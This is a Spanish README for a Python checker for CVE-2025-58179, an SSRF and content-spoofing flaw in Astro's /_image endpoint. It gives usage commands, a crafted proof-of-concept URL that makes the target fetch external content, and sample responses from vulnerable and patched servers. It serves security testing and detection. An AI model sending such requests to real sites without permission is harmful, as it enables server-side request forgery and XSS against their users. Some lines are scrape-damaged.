
Script de Python para verificar vulnerabilidades de SSRF y suplantación de contenido (CVE-2025-58179) en el endpoint `/_image` de Astro, con generación automatizada de URL de PoC y verificación de respuestas HTTP.
CVE-2025-58179-Check es un script simple de Python para verificar la vulnerabilidad SSRF (Server-Side Request Forgery) / Content Spoofing en el endpoint /_image del framework Astro.
Esta vulnerabilidad se rastrea como GHSA-qpr4-c339-7vq8 y CVE-2025-58179.
Esta vulnerabilidad afecta a los sitios Astro que utilizan el adaptador @astrojs/cloudflare con la configuración output: 'server'. El endpoint /_image, que debería optimizar imágenes, no valida correctamente el parámetro href.
Esto permite a un atacante hacer que el servidor obtenga y sirva contenido desde cualquier dominio externo no autorizado. El impacto puede ser SSRF y, si el contenido externo es un archivo malicioso (como un SVG que contiene scripts), esto puede derivar en Cross-Site Scripting (XSS).
Este script automatiza el proceso de prueba para comprobar si un sitio es vulnerable a este problema.
Status 200 con Content-Type: image/*).requests (solo si se utiliza la funcionalidad de verificación)Puedes instalar requests usando pip:
pip install requests
CVE-2025-58179-Check.py.chmod +x CVE-2025-58179-Check.pyEsta opción solo imprimirá la URL PoC ya codificada. Es útil si quieres probar manualmente en el navegador o con otras herramientas.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
Ejemplo:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
Salida:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
Esta opción generará la URL y enviará directamente una petición HTTP GET para verificar la respuesta del servidor.
Comando:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
Ejemplo:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
Si el servidor devuelve el código de estado 200 y el tipo de contenido es una imagen, esto indica que el servidor ha obtenido y servido contenido externo.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
Un servidor que ya ha sido parcheado o configurado correctamente rechazará las peticiones a dominios externos no autorizados, normalmente devolviendo un estado 4xx.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] ADVERTENCIA
- Este script se creó con fines educativos y de pruebas de seguridad legítimas.
- El usuario es totalmente responsable de sus acciones. No utilices este script en sistemas para los que no tengas permiso.